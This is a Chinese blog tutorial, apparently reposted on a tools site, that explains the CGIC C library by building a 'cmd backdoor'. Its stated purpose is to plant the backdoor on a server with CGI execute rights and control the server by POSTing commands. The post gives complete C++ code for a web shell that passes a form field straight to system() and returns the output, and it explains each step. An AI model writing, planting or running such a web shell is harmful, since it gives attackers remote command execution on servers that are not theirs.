51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

C语言CGI编程二 - 编写cmd后门

接着C语言CGI编程入门(一),这次来介绍一个C语言库,叫"CGIC",这是他们的官网:http://www.boutell.com/cgic/

里面该说的都说的很清楚。今天我们来用它来做一个后门,将后门放在有执行cgi权限的服务器上,通过客户端POST命令到cgi上并执行,达到控制服务器的目的。

首先下载官网上的压缩包。解压里面有cgic.c和cgic.h,这是我们需要用到的文件。(另外两个c文件是演示用的,还有一个makefile是linux下使用的,在VS2010中我没有用到它)

从官方的文档和下载的cgictest.c可以看到,这个库里有main函数。因为一个程序只能有一个入口点函数,所以我们不能再定义main函数。这里,我们新建一个工程,将上面说的cgic.c和cgic.h拷贝到工程目录下,最好把cgic.c改成cgic.cpp,这样我们就能用C++的语法来写程序了。

再在工程中添加一个cgiMain.cpp的文件,我们将代码写在其中。我们这个程序只用写一个函数,cgiMain,再包含ccgi库的头文件就行了。

cgiMain我们尽可以把它想象成main函数,只不过名字不一样罢了,我们把自己的代码写进去。执行的时候也和main完全一样,以return 0;退出。

我的这个cmd后门的代码如下:

int cgiMain()
{
	cgiHeaderContentType("text/html");
	char szPost[256];
	cgiFormString("cmd",szPost,sizeof(szPost));
	string strRe,strComm = szPost;
	strComm += ">01.tmp";
	system(strComm.c_str());
	ifstream file("01.tmp",ios::in);
	while (getline(file,strRe))
	{
		cout<<strRe<<"<br />";
	}
	file.close();
	remove("01.tmp");
	return 0;
}

比较简陋,只是来演示一下cgic库的使用。

cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出"Content-type:text/html\n\n",这个函数就是起到这个作用。大家看源代码也可以看到。

cgiFormString("cmd",szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。

第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引"cmd"就能获取到值ipconfig。

原则上来说,获取到了值,也就是命令的内容"ipconfig",我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。

提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加">xx.txt"就行,就输出到了xx.txt文件中(绝对路径也行)。


ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。

演示一下效果:

在本地html(本地客户端请大家自己思考着自己写)中输入命令:

01.jpg{#ematt:108}

点击提交后返回结果:

02.jpg{#ematt:109}


附件:cgic函数说明.zip

赞(1)
未经允许不得转载:工具盒子 » C语言CGI编程二 - 编写cmd后门